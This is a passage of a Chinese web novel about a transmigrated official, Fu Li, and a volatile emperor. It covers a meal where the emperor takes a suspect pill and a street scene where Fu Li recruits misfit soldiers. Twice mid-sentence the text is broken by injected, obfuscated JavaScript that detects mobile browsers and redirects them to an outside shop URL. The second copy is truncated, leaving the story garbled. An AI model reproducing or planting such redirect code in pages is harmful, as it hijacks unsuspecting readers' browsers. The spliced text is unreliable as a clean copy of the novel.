但意料之外的,殷扶灼丢了帕子后,哪怕面上明显带着冷淡的厌恶,仍旧顺着他开了口。 “是可以摇的椅子吗?” “嗯。就是将竹条拼接在一起,可以前后摇晃的椅子,躺起来很舒服。”符荔的回答更加小心了,“臣就是随口一提,不是非要……” “你做出来让朕看看。” 说着,他就叫来不远处的太监准备工具。 一个时辰后。 “快到午膳了,你的摇椅还没个影子。” “快好了,奇怪,到底是哪里出问题了,竹竿怎么掰都没办法固定成弯着的形状。”符荔坐在地上,茫然看着一堆竹片,懊恼地擦擦额头上的汗。 他身旁的地面上,冕旒珠串的影子微微摇晃,殷扶灼懒闲在在地站在那里,一点不嫌烦地看了一个时辰。 “掰弯竹竿,再靠近火烘烤,能够定型。” “是哦,我之前看过,这样就可以了。” “……真是个笨的。你当年是靠科举舞弊考上的状元吗?” “……”讨厌。 殷扶灼双手交叠在身后,嫌弃地瞥了眼地上一堆破竹片,骄矜抬头。 “陪朕用午膳,下午继续晒太阳,顺便陪你倒腾这堆破烂。” “……” 要不你还是把我砍了吧。 16. 一起吃饭 “怎么,委屈?”殷扶灼问。 “怎么会,能跟陛下一同用午膳,那是臣几辈子修来的福气。”符荔撇开那些竹条,面露兴奋道,“陛下,咱们快去用午膳吧,臣真是太期待了。” “好假。” “……”这天是一点都聊不下去了。 “下午继续。”殷扶灼叫来仪驾,朝符荔招了招手。 符荔哪里敢去坐,站在御辇旁边,王鸿恩的身后,“下午臣还有公务要处理,臣的爹会做这个,改日臣画出图纸,待臣的爹做出一把,便送进宫里给陛下。” “两把。”殷扶灼见他拒绝,眼里闪过一丝惊讶,收回了手,也不强求,径直上了御辇。 “好。” 符荔赶紧应下,他可不想再和暴君尴尬大眼瞪小眼了,这简直比杀了他还难熬。 很快他就忘了和殷扶灼相处时的尴尬和不自在,因为满心满眼全是一桌子美味佳肴。 当皇帝就是好。 不过他还是记着这里谁最大,等殷扶灼开始动筷了,他才小心地跟在他之后浅浅地夹一口,不敢多吃。 “随意就好,不必拘束。” 说是这么说,符荔还是很有自知之明的,道谢后还是照常。 这位可是喜怒无常的暴君,谁知道下一刻会不会因为他吃相粗鲁而把他拉出去砍了。 殷扶灼没什么食欲,动了几筷子就没再吃了,反而开始往杯子里倒酒。 果然,这位是个酒鬼,才中午就喝酒。 殷扶灼抓着青瓷玉杯慢慢转动把玩,悠悠闻着美酒发酵飘散出的香气,突然抬头,开始挑他的刺,“你是那些人里胆子最小的。” 符荔从他停筷开始就不敢把筷子伸出去了,只能小口小口地扒拉饭菜,闻言委屈地看向他。 “朝中臣子跟了你多少年,臣才跟你多少久,他们早就习惯了,臣还没有。” “那给你机会,跟在朕身边。”殷扶灼仰头一口将剩下的半杯酒倒进嘴里。 符荔倒吸一口凉气,夹紧腿,“你要阉了我!” “咳咳咳……”殷扶灼被嘴里的酒呛到,咳嗽了两声,忙掏出帕子擦嘴角。 “天子近臣。”他摇头道,表情是满满的不耐烦和嫌弃。 “你这样的来伺候,朕瞧不上。”连当太监都不够格。 “哦。”符荔手里的筷子戳了戳碗,继续往嘴里扒拉饭。 他也不晓得狗皇帝瞧上他什么了。 殷扶灼似乎对他有点兴趣,审视探究的目光下,在向他示好,以至于连他收敌国一箱金子都不在乎。 不过是撵狗逗猫那样的,施恩般的示好。 难道这就是穿越过的来那日说的,殷扶灼在陪他玩? 无聊。 不就皇帝嘛,有什么好傲的,自诩高高在上,拿别人的命不当命,纯当乐子看。都登基三年了,政务一件不处理,后宫连个影子都没有,啥都不做,成日不知道在干嘛,样样不合格。 不会是那方面不行吧。 人妖杂交,难道和骡子一样生不了后代? 符荔被自己的想法吓了一大跳,米饭哽在喉咙里,连连咳嗽起来。 眼前突然多了碗鱼羹。 “喝点,顺气暖身子。” “谢、多谢陛下。”符荔被他温柔的语气闹得满脸通红,局促不已,尴尬地恨不得找个地缝钻进去,尤其是刚才自己那样不道德地揣测他,让他羞愧难当。 “是臣失仪了。” “在朕面前,你不必如此拘束。” “多谢陛下,臣不拘束。” 我是怕你一言不合再给自己捅个三刀六洞。 符荔捧着滚烫的碗壁,拿起汤匙,低头喝着鱼羹。 今天的狗皇帝,纡尊降贵对他的施恩多到反常。 汤匙停在碗里,他抬头,面露担心地看着他,“陛下,你有什么烦心事吗,臣能否解决?” 殷扶灼一愣。 王鸿恩走了进来,手里捧着个托盘,上面是个小盒子。 “陛下,该吃药了。” 符荔看向那个白瓷药盒,打开后,里面躺着一颗红色的药丸,飘散出一股浓郁的药草香。 殷扶灼从容地捏起药丸,熟练的动作看出明显不是第一次吃。 “咳咳……”方才呛到的饭粒子卡着不上不下,折腾得他难受,不禁咳嗽了两声。 殷扶灼的手顿在嘴边,看向符荔。 符荔回看了他一眼,又看向了脸庞绷紧的王鸿恩。 都看他干什么,难道他也要吃这药? “咳咳咳咳。”他赶紧收回目光,非礼勿视,清了清嗓子,感觉好多了,正襟危坐,继续吃饭。 王鸿恩抓着托盘两侧边缘的手指颤抖起来,在殷扶灼转头看向他的时候,在那危险暴虐的目光下,他赶紧攥紧手指,强迫自己镇定。 手是不抖了,手背暴突的青筋暴露了他此刻的紧张。 冷汗开始从后背渗出。 殷扶灼目光放空,没有看向躬身站着的人,手指捏着药丸,放在鼻尖嗅了嗅,把玩着道:“王公公,你紧张什么,符大人只是被饭呛着了,咳嗽了两声,又没说什么话。” “对,我只是呛着了,王公公不必理会我。”符荔赶紧道,露出一个和善的笑意。 阉人就没一个好东西,这位还是暴君手底下的阉人,被他记恨上可没什么好果子吃。 王鸿恩努力在脸上扯出一抹微笑回应他,“这样。” 不对,这个废物皇帝知道了。 知道药丸里的猫腻。 就凭他的废物劲儿,怎么可能是他自己发现的,一定是符荔咳嗽提醒他的。 这个御史大夫,看似人畜无害,实则眼睛毒辣,连这么隐秘的事情都能被他发现。 怎么办? 就在他两股战战,膝盖摇摇欲坠,就要磕在地上的时候,殷扶灼似乎终于欣赏够了他平静脸庞下的煎熬,张开嘴,将手里的药丸塞进嘴里。 王鸿恩惊讶地怔愣了下,不期然与殷扶灼的目光直直对上了。 那双邪恶的绿色眸子此刻剩下满满的讽刺和玩味,说不出的凉薄和尖锐的冷意。 他喉咙紧张地滑动了下,急忙垂下目光,掩盖一瞬间的失态,态度越发恭敬。 向来八面玲珑、善于揣测上意的人,此刻也看不透眼前这位帝王。 如若察觉这药有毒,为何又要吃? 殷扶灼又倒了一杯酒,将嘴里的药丸彻底送进肚子里。 肘尖抵着桌边,温润的手指把玩着空酒杯,“怎么出汗了,殿里很热?” “有点。”王鸿恩腰弯得更低,却是不敢去擦额头上的汗。 “去殿外雪地上跪三个时辰,降降燥。” “是。” 王鸿恩急忙退出大殿,心里更加惶恐不安。 如若没有发现药丸的端倪,登基三年从来不罚他的皇帝怎么今天会让他跪三个时辰。 但若发现了,以皇帝的性子,必然要让他血溅五步。 今天,他看不懂这个年轻的帝王了。 王鸿恩的义子赵珍候在殿外,看他跪下了,疑惑地问了几句,不禁大骇,“义父,陛下怎么能让您跪在这里,三个时辰,这么冷的地儿,膝盖必然是要废了,儿子去找陛下求求情。” “行了,别折腾了。”王鸿恩喊住了他,这个义子惯会讲这些没用的屁话,实则一件事也办不好,成日只想在皇帝面前露脸,妄想一步登天得到重用。 目光一转,他道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334880|199235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “儿啊,近来我触了陛下霉头,不好再在御前走动,惹他烦心,而且腿上不好好养着,必然落下残疾。你可愿顶替我一段时日?” 赵珍果然大喜,但又不好表现出来,心不在焉地敷衍了两句关切,问:“平日里要注意哪些事情?” “就是我交代你的那些。另外,”王鸿恩笑了一声,笑音莫名尖锐,“前几日我不是寻来治疗陛下头疾的良药么,一日一颗,切记,万万不能忘。” “儿子晓得了。”赵珍已经迫不及待,“陛下跟前缺不得人伺候,儿子先进殿看看,得空了给您求个情。” “去吧。”王鸿恩和蔼一笑,当真像个温厚的长辈。 药丸一事,经手的人越多,才越不容易查清到底是谁的问题。 小太监殷勤走进内殿,符荔还在喝汤,于是候在一旁。 桌旁,符荔不明所以。 王鸿恩不就是让皇帝吃个药吗,怎么狗皇帝突然发难,罚他跪在雪里。 天威难测。 “方才你问朕,可有烦心事?”殷扶灼夹了一筷肉放进他碗里,“为何会这么问?” “陛下态度让臣惶恐。” 殷扶灼歪着脑袋看他,“就没见过胆子像你这么小的人。” “臣其实不胆小。” “哦?” “臣跟狗都打过架。”符荔认真道,“在十一岁的时候。” 殷扶灼锋锐的眉挑起,定定地看着他。 被这种压迫感满满的眼神盯久了,符荔也能开始辨认出,他眼里到底是杀意还是在放空。 殷扶灼似乎经常在放空走神,想着什么。 现在,他就在放空,已经有了三分醉意的眼睛看似在看他,视线又没有个焦点。 就这点酒量,还敢大中午喝酒。符荔微哂。 “朕有时候都好奇,你到底是真的没有心机,还是演出来的。” “啊?”符荔整张脸被饭塞得鼓鼓的,诧异地眨了眨眼。 殷扶灼已经收回视线,“吃不完就别吃了。” 符荔赶紧放下碗,拿手帕擦了擦嘴角。 “下午没事了?还想跟朕晒太阳?” “臣这就告辞。” 符荔听出他终于想放人了,忙不迭起身告退离开。 殿内又只剩下他一个人,还有面前的一桌残羹冷炙。 殷扶灼又抿了口酒,刺激的酒苦味回荡在口腔味蕾中,舌尖辛辣的疼痛暂时麻痹了些许深入骨髓的灼烧感。 门外进来一道人影,候在他身后侧。 殷扶灼扯了扯嘴角,身形摇晃站起来。 “终于又有一个人问我,有没有烦心的事。” 赵珍刚悄然走近,就听到皇帝自言自语般说出了这句话,一时间不知道该不该回答。 殷扶灼的声音,是难得的温和认真,仔细分辨,甚至能听出隐隐的小雀跃。 皇帝心情不错。 他大着胆子开口,“普天之下没有事能让陛下烦心,如果有,直接派人解决掉就好了。” 他说完后,带着打算得到褒奖的心抬眸,却见殷扶灼站在他面前,眼里只剩下冰冷的暴虐杀意。 小太监心头震颤,不知道为什么皇帝会起杀心,慌忙跪在地上。 可仔细一想,刚才那眼神,虽然落在他身上,却不像是在看他。 “虚假的东西,不要也罢。”殷扶灼的话音轻如鸿毛,随着嘴里呼出的白雾消失在寒风中。 “陛下,王公公还跪在外面,他担心陛下跟前没人伺候,便叫奴婢过来。奴婢名叫……” 殷扶灼已经翩然走远。 带着几分醉意,一脚深一脚浅地走在铺满阳光的石板地上。 他没兴趣知道一个无关紧要的人名字。 17. 逛街顺便招个兵 京都城这两日十分热闹。 冬至快到了。 赵细娘和许如意婆媳俩手拉手地一起上街买食材,打算晚上包饺子和贡神主,叫了仆从和丫鬟,拉了那匹跛脚驴驮东西,叽叽喳喳地张罗,热闹的很。 符荔今日休沐,用完早膳四处溜达,想着自己的墨和纸不够用了,便也带着五儿一起去书坊。 “大嫂都给你打听好了,建坤街第五家铺子就是书坊。”许如意道。 赵细娘不放心地叮嘱道:“买完了自己先回家,我和你大嫂还要买些年货。知道路吧,要是不记得,别乱走,待在原地,让五儿去找我们。” “晓得了。”他都二十二了,不是两岁小孩子。 不过这种被放在心上的叮嘱让他有些心暖。 赵细娘还想把驴给他,符荔客气拒绝了,带着五儿就往街上走。 建坤街是京都最大的街道,位于整个都城的中轴线上,一头连接望兴门,一头连接横亘皇宫前的永寿路,街上百姓络绎不绝,十分热闹。 符荔在书坊买了墨条和纸,又买了两本杂谈和游记,眼看时间还早,便一路走走看看,买了几串糖葫芦,分给五儿一串,自己拿一串,剩下的给家里人吃。 “符大人,你怎么来了?” 正逛着,不远处一个摆摊的惊喜地叫住了他。 “沙大人?”符荔愣住了,“你怎么在这?招兵?” 沙不晦的摊子前摆着一张大纸,上面写着“招兵”二字。 “我昨日下午去了一趟城外营地调派兵马,秦才敬那些人各种找借口不给兵,好说歹说,才同意先调五万人给我,但又要我等两天。我琢磨着他们是打算拖着把这事糊弄过去,必然有猫腻,更别说剩下的十五万兵马遥遥无期,于是今天来看看,能不能招点年轻的新兵先凑合着。” 沙不晦感慨道:“朝中风气如此黑暗肮脏,有劲不往一处使,心眼全都花在算计同僚上了。” “秦大人是好官,你别这样说人家,他有他的难处。”符荔道。 不准你这么说我的亡国大将。 “好吧。”沙不晦没懂秦才敬有什么难处,排挤为难别人倒是真的,不过符荔这样说了,必然有他的深谋远虑,只是他暂时还不能参透。 “半天时间了,你招到几个兵了?”符荔关切地问。 “一个都没有。”沙不晦叹气。 “那我就放心了。” “大人,你说什么,我没听清。” “没什么。”怎么就把真心话说出来了呢,“中午了,还没吃饭吧,我帮你看一会儿,你先去吃饭吧。” “那可太好了,我去客栈买点酒菜,中午我请客。” “沙大人客气,不必如此,家里准备饭菜了。” “大人你先等着,我去去便来。”沙不晦已经心急地走远,完全不给他拒绝的机会。 符荔叹了口气,坐在了摊位上发呆。 五儿一根糖葫芦吃了半晌,总算吃完了,抹了抹嘴,问,“少爷,这纸上密密麻麻的都写着什么啊?” “跟了我这么久,怎么还大字不知道一个。”符荔转到摊位前边来,仔细一看,大大的“招兵”二字旁边还支起了一张纸,上面密密麻麻全是招兵要求,苍蝇大小的字挤做一团,的确不好认。 “一、年龄十三岁以上、三十五岁以下,身体无残疾患病。二、大凉户籍人士。三、体貌端庄,身高五尺以上,体格健壮,能单手举起五十斤石磨。四……这是相亲还是招兵啊,要求这么多,撕了。” “这不好吧。”五儿犹豫道。 “回头就说是风刮破的。” 刚说完,“招兵”二字被路边打闹的孩童撞了下,一下子给扯破了。 “得,重新写吧。” 符荔撩开袖子,摊开新买的白纸,想着不吉利,翻了翻,找出刚买的过年用的红纸,偷懒写了一个大字:招。 原主一手正楷写得好看,他的行楷也飘逸灵秀,各有千秋。 符荔自我臭美了一会儿,身后就走来一个壮汉。 “你们这招人是不?码头搬货还是铺子里打杂?” 符荔扭头一看,好家伙,这块头,一拳能打死成年公牛都不带吹的。 “招兵,上战场打仗那种,会死人没命的,不好意思啊,不是你想要的活儿。” “你什么意思?”壮汉脸色立刻沉了下来,“说谁贪生怕死呢,看不起我?” “我话里什么时候有这个意思了?”符荔傻眼了。 “大凉就是因为有你这种文弱又爱搬弄是非的人,所以才一直没一统大陆。”壮汉大喝一声,“兄弟们。” 一时间,不知道从哪里冒出来了十五六个同样身形的壮汉,将小摊团团围住。 符荔和五儿俩小鸡仔似的站在他们中间,左右为男,瑟瑟发抖。 “殴打朝廷命官,是要打板子的……” “谁说要打你了,登记簿在哪儿,拿出来,我要参军。” 符荔头疼地把桌上的登记簿打开,上面空空如也,一个名字都没有。 “给我。”壮汉抢过本子,在上面歪七扭八写下自己的名字信息。 这壮汉去沙不晦的手底下,可不得是冲锋陷阵的一把好手,这不弄巧成拙了么。 “你们围了这么多人,招人啊?”这些大汉站在街头惹眼的很,摊子又走来几人凑热闹。 “不是招人,是招兵。”符荔烦躁地解释道,却看那几个人生得贼眉鼠眼,个子还矮小得过分,一看就不是什么好鸟。 “饷银多少?” 符荔伸出一根食指,左右摇了摇,“没有饷银,打白工。” “什么!没银子招什么兵。” 壮汉一把将登记簿摔在桌上,“把我的名字划了。” “我早就说了,你别写,要赚钱做什么不好,非要来参军,多苦多累,还要流血流汗,不值当。” 符荔说着就要把登记簿那页写了字的纸撕下来,又被壮汉抢去。 “老子一口唾沫一个钉,看不起谁,基本伙食能保障吧?” “不一定。”户部尚书都说没钱了,“能用什么填饱肚子全凭自己本事。” “你们也太欺负人了,这还招什么兵,屁都没一个!” “给我写上名儿,这么奇葩,我倒是要看看,这什么人招的军,回头干他老子的。” “对,也写上我名儿,回头一起干他,这长官也太不把我们当人看了。” “就当出京都逛一趟了,反正待在这里不是饿死就是冻死,天天找不着活儿,不如拼一把。” “我也要!”本来还有几个犹豫的壮汉凑热闹似的把登记簿抢来写上自己的名字。 因为这生有力的怒吼,越来越多人围了过来。 符荔伸手去捞没捞着,眼看这些壮汉参军已成定局,他看向开始的那几个贼眉鼠眼转悠的人,笑容再次和蔼起来,“你们要参军吗?” 几人本来只是看个热闹,闻言犹豫道:“我们也可以吗?” 五儿拿着撕成两半的招募条件,嫌弃道:“少爷,他们不符合条件,大凉征兵标准是身高五尺以上,他们才四尺多吧,看起来是侏儒。” “怎么说话的,他们都是大凉的好儿郎,只要愿意,都是为国争光的栋梁之才。”符荔拍拍其中一人肩膀,“这是我小厮,你们别跟他一般见识。” 那几个人听了顿时感动不已,“我们因为身高不够,只能走南闯北靠卖艺讨生活,今日大人能这样说,我们也报名参军,为大凉卖一份力气。” “不是大凉人就不可以吗?”人群中又有人道。 “你们是哪国的?” “云烟。” “大宵。” “太棒了,欢迎。” “不行。”五儿赶紧提醒道,“万一是间谍怎么办,出卖军情,会导致全军覆没的。” “你是主子还是我是主子,赶紧登记。” 要的就是这种间谍带路的刺激感。 “得了白癜可以吗?” “不是传染病都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然后就被符荔全面放开的条件给留下了。 “已经招了多少兵?”沙不晦心中佩服不已,伸手要去拿登记簿。 “半、半本了。”五儿尴尬笑着,两手攥着本子不愿撒手。 除了刚开始那十几个壮汉,剩下的都是些什么歪瓜裂枣啊,凑数都不能这么凑。 最终还是沙不晦力气大,夺了册子,翻开看了几眼,脸色越来越沉。 五儿讪讪赔笑,脚尖蠢蠢欲动。 等会儿这位将军要是一拳头挥过来,他是先逃跑呢,还是先拉少爷挡拳头再逃跑。 沙不晦一脸凝重地合上登记簿,递还给他,“劳烦五儿先生继续登记一会儿,我和符大人在旁边吃个饭。” “?”五儿以为他没看清,“你认真看了吗,上面登记的都是些什么人啊。” “我知道。”沙不晦拧眉沉思了下,“符大人这么做一定有他的道理,是我悟性差,还没参透。” 符荔本来还在想怎么圆回去,没想到沙不晦直接就帮他说话了。 “那个……没什么好参透的,你就带着他们上战场吧,到时候随他们发挥就行了。” 一群乌合之众,搞得他都有点过意不去了。 “早点出发吧,别等四日后了。” 他怕四日后这些人不靠谱地全跑没了,沙不晦不得砍死他。 “我看兵马队伍征召得差不多了,这就通知下去,明日就出发。” 沙不晦坚信,符荔这么说,一定有他的道理。 符荔双眼微眯,无语地看着他。 这位怎么看着像是被忽悠瘸了。 “你最近是不是跟吕旻往来比较密切。” “符大人这都知道?昨日我俩一起吃午饭。” 就知道是你小子。